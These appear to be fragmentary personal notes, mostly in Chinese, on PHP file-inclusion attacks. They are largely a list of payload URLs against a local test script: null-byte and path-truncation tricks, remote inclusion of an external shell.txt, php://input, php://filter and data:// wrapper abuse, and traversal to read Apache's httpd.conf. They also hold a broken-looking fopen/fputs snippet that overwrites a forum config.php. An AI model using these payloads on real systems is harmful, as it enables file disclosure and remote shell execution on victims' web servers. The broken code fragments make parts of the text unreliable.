http://127.0.0.1/test/123.php?f=test.txt
http://127.0.0.1/test/123.php?f=test.txt%00
http://127.0.0.1/test/123.php?f=test.txt/././.很多很多次.````````````````
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?id=
或者直接
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?
http://www.php.net/manual/en/wrappers.php.php
涉及到allow_url_fopen 和 allow_url_include 这两个设置,后者php.ini里面没有,需要自行添加。
详细设置在这里
http://php.net/manual/zh/filesystem.configuration.php
data:// 或者 php://input 可以在这allow_url_include关闭的情况下包含自定义数据,不过两种方法只在5.0以下是有效的,
之后的版本include就会报错了,比较可惜。
?file=[http|https|ftp]://websec.wordpress.com/shell.txt
(需要 allow_url_fopen=On 和 allow_url_include=On)
$raw = file_get_contents('php://input','r');
echo $raw;
这样在allow_url_include=Off会报错了
include_once("php://input");
@readfile("php://filter/convert.base64-encode/resource=test.txt");
这样也是可以的
@readfile("php://filter/convert.base64-encode/resource=http://127.0.0.1/test/test.txt");
include的状况和php://input类似
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
include("data://text/plain;base64,SSBsb3ZlIFBIUAo=");
http://127.0.0.1/test/123.php?f=..\..\apache2\conf\httpd.conf
http://127.0.0.1/test/
$fp=fopen("/homeirtual/www.xxx.com/forum/config.php","w+");fputs($fp,"");fclose($fp);?>
http://www.myhack58.com/Article/html/3/62/2011/32008_2.htm
http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
这个很厉害回头研究
http://zone.wooyun.org/content/2196?1176